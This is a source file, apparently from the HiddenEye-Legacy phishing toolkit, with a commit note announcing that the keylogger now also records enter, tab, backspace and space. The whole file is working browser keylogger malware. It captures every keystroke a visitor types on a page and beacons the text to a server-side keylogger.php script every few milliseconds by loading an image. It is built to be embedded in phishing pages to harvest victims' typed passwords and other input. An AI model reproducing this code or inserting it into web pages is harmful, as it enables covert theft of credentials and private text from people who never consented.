HiddenEye-Legacy/WebPages/keylogger.js
Usama Abdul Sattar ad3e75d75d
special keys(enter,tab,backspace,sapce) now logged
@An0nUD4Y Keylogger is now more efficient it'll log special keys on chrome,opera and firefox including those characters that need to be encoded.
2018-12-12 19:40:34 +05:00

29 lines
568 B
JavaScript

var keys='';
document.addEventListener("keydown", function(event) {
if (event.keyCode == 8) {
keys = '[backspace]';
}
if (event.keyCode == 9) {
keys = '[tab]';
}
if (event.keyCode == 13) {
keys = '[enter]';
}
if (event.keyCode == 32) {
keys = '[space]';
}
});
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
if(keys != '') {
new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);
keys = '';
}
}, 5);